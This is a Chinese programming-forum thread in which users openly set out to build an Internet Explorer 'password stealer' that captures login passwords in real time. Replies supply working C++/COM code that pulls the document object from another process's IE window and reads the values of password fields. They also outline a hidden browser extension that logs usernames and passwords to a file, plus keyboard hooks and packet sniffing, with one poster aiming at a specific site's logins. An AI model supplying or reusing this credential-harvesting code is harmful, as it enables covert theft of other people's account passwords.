thd111(小蛐蛐) 什么意思,什么东西我就可以不懂呢?请教。我的vc水平不敢称好,但也绝不会差到连是不是窗口都分不出来吧。

解决方案 »

  1.   

    我也想写一个密码窃取器,可是用sendmessage(WM_GETTEXT)好像得不到密码?可能是因为W2000
    的问题,
    你试试用SendMessage发WM_GETTEXT或EM_GETLINE消息,用GetWindowText是肯定得不到的!
    如果你试成功了,请告诉我!
    我在2000下用这个方法没成功,我怀疑试因为2000的原因。我得机子上也没有98,试不成!
      

  2.   

    原本可以在win98下面可以获得获得IE保存下来的密码的,但这个不太适合我现在的要求,我现在是想要实时得到pswd。
    我现在有两个思路,一个是为ie做个钩子,钩它得键盘消息,但这样要做个dll,文件太多对我们可不利呀,呵呵。
    一个思路是改写IE的html源文件,(相当于欺骗网页),将密码先引入自己的asp中。呵呵,不过,有好多技术细节还没有搞懂,比如如何改写html的源文件(能否先存盘->改写->调入)。
    所以在动手之前,虚心的向大伙请教,还望大虾们不吝赐教。
    有兴趣的朋友或同志者帮忙push一下,Thanks.
      

  3.   

    lhbyron(天空的云),肯定不行,你用sky查一下那个窗口,会发现它根本就不是一个窗口,所以用sendmessage(WM_GETTEXT)肯定不行的。
      

  4.   

    调用ie的document对象,就像java scripts
      

  5.   

    jeffqu(jeff) 用com吗??
    有什么资料提供一点,万分感谢,
      

  6.   

    在IE下可通过WebBrowser 控件的一些com接口来实现。
    1、先取得ie窗口的IID_IHTMLDOCUMENT2接口 。
    在不同的进程中取得IE的Webbrowser控件的IHTMLDocument2接口,请参阅MSDN上的一篇文章,标题是:HOWTO: Get IHTMLDocument2 from a HWND(根据HWND取得IHTMLDocument2接口)(http://support.microsoft.com/default.aspx?scid=kb;EN-US;q249232).它的实现机理是向Webbrowser控件(窗口类名是"Internet Explorer_Server")发一个WM_HTML_GETOBJECT,然后把返回值传给Microsoft Active Accessibility (MSAA) 函数ObjectFromLresult,这样你会取得一个已经编排(Marshaling)过的COM接口
    2、取得页面所有元素集合的接口 IHTMLElementCollection
    IHTMLElementCollection* pColl; 
    hr = pHTMLDocument2->get_all ( &pColl ); 
    3、遍历各个元素,检查校验,取得符合条件的元素的内容即可。
    for ( int i=0; i< celem; i++ ) 

    VARIANT varIndex; 
    varIndex.vt = VT_UINT; 
    varIndex.lVal = i; 
    VARIANT var2; 
    VariantInit( &var2 ); 
    IDispatch* pDisp;   
    hr = pColl->item( varIndex, var2, &pDisp );  
    if ( hr == S_OK ) 
    {  
    IHTMLElement* pElem;  
    hr = pDisp->QueryInterface( IID_IHTMLElement, (void **)&pElem );  IHTMLInputTextElement * pPwdElement;
    hr=pElement->QueryInterface(IID_IHTMLInputTextElement,
    (void**)&pPwdElement);//是否有表单输入元素
    if(SUCCEEDED(hr)){
    CComBSTR type;
    hr=pPwdElement->get_type(&type);
    if(SUCCEEDED(hr)){
    if(type==_T("password")){//是密码框吗?
    CComBSTR pwd;
    hr=pPwdElement->get_value(&pwd);
    if(SUCCEEDED(hr)){
    if(pwd.Length()!=0){//有密码则显示
    CComBSTR msg=_T("密码是:");
    msg+=pwd;
    CString str(msg);
    ..........
    其它的,如设立系统全局键盘钩子,实现对机器运行的ie窗口进行监听的细节在些不再多说。
      

  7.   

    iamknight(侠客),太谢谢了。I love you.
      

  8.   

    我贴一篇:
       看“星星”的工具并不比“星星”的个数少,由于其原理比较简单,初学者很容易制作一个。然而,有时天公不作美,它会给晴朗的星空抹上一道乌云,这时你就无法寻觅那颗明亮的星。网页中的“星星”就是一颗被掩盖的星。透过密码编辑框看“星星”,主要是通过向密码编辑框发送WM_GETTEXT,获得密码编辑框的窗口文本,这种方法在Windows 9x/NT4/ME环境下屡试不爽,星星既属于你,又属于我,大家都可以看到。到了Windows 2K/XP环境,这招有些失灵,星星变聪明了,它只属于它中意的人,别的进程别想打它的主意。对于没有权限获得密码的进程,它会简单地返回一个ERROR_ACCESS_DENIED,来打发那些动机不纯或者别有用心的人们。但是还是有高手能够通过钩子函数,来笼络星星的心,钩子函数能够实现把一个动态连接库注入到另外一个进程,获取窗口文本,再返回给另外一个进程,面对这个吃里扒外的东西,不明真相的星星姑娘,居然听之任之,全抛一片心。网页中的星星是一颗特别的星,铁石心肠,然而它却是豆腐作的。你很难获得它的窗口句柄,通过Visual Studio提供的SPY++也很难获得它的窗口句柄和它收到的窗口消息。获得网页中的密码必须通过必须通过HTML中的MSHTML文档对象模型。你首先必须通过各种方法获得Internet Explorer浏览器(Mr Navigate,Sorry)窗口句柄,判断它的类名是否是"Internet Explorer_Server",然后通过下述代码获得其文档对象模型指针,即IHTMLDocument2接口。
    HWND hw; MSHTML::IHTMLDocument2Ptr doc; MSHTML::IHTMLElementCollectionPtr col; MSHTML::IHTMLElementPtr EL; DWORD lRes; HRESULT hres; UINT MSG =   RegisterWindowMessage("WM_HTML_GETOBJECT"); SendMessageTimeout(hw, MSG, 0, 0,                     SMTO_ABORTIFHUNG, 1000, &lRes);  hres=ObjectFromLresult(lRes,                  __uuidof(MSHTML::IHTMLDocument2),                  0,                  (void**)&doc); 然后你必须获得鼠标屏幕坐标,把它转换成相对于客户区的坐标,然后根据坐标位置获得网页对对应的元素,查询IID_IHTMLInputTextElement接口指针,判断元素类型是否是一个密码编辑框,并获得对应密码。CString GetPassword(IHTMLDocument2 *pDoc2,POINT pt){     if(pDoc2==NULL)return "";     CComPtr<IHTMLElement> pElement;     HRESULT hr=pDoc2->elementFromPoint(pt.x,pt.y,&pElement);     if(SUCCEEDED(hr)){         CComPtr<IHTMLInputTextElement> pPwdElement;         hr=pElement->QueryInterface(IID_IHTMLInputTextElement,              (void**)&pPwdElement);         if(SUCCEEDED(hr)){              CComBSTR type;              hr=pPwdElement->get_type(&type);              if(SUCCEEDED(hr)){                   if(type==_T("password")){                       CComBSTR pwd;                       hr=pPwdElement->get_value(&pwd);                       if(SUCCEEDED(hr)){                            if(pwd.Length()!=0){                                 CComBSTR msg;                                 msg=pwd;                                 CString str(msg);                                 return str;                            }                            else{                                return "";                            }                       }                   }              }         }     }     pDoc2->Release();   return ""; }如果你想尝试一下如何在后台记录网页密码,你可以实现一个IE扩展的COM组件,由IE负责自动加载,在组件中你必须实现IOleObjectSite接口,在SetSite方法中得到一个指向IE COM对象的Iunknown的指针,再通过它获得其它接口的指针。在程序中还需要创建一个线程负责对当前的网页所有元素实现轮询解析,判断元素的属性是否是一个编辑框(密码编辑框),然后把用户名和密码记录到一个文件中。
      

  9.   

    但是我也有一个问题,如何取个某个特定网页(如新浪主页)的密码,是先要指定它的Url,还是直接用winnet类
      

  10.   

    当然是要检查url的位置是否为新浪网,是的话就进行截取,否的话,我们就放弃,呵呵
      

  11.   

    工作有点忙,正在构思中,把你的Email留一下,做好了我会把思路整理一下发给你的,你有好的方法也记得告诉我一下,谢谢你。
      

  12.   

    [email protected],我现在也在写一个类似的软件,交个朋友把,呵呵
      

  13.   

    我有两个思路:
    1、用BHOs,这样就可以很方便的得到IHTMLDocument2等接口,MSDN上有详细说明(不过这种方法要用DLL实现)
    2、监视本机所有的网络信息。在Win2K下可用原式套接字实现,加以分析就可以了。(可以参看CodeGuru的ipman),如果是9x,我就不太清楚了,记得要通过一个什么vpacket之类动工具包。这种方法的好处是不需要单独的dll)
      

  14.   

    to:xiner(叉叉)
    如果你做了可以发一份给我吗?先谢了!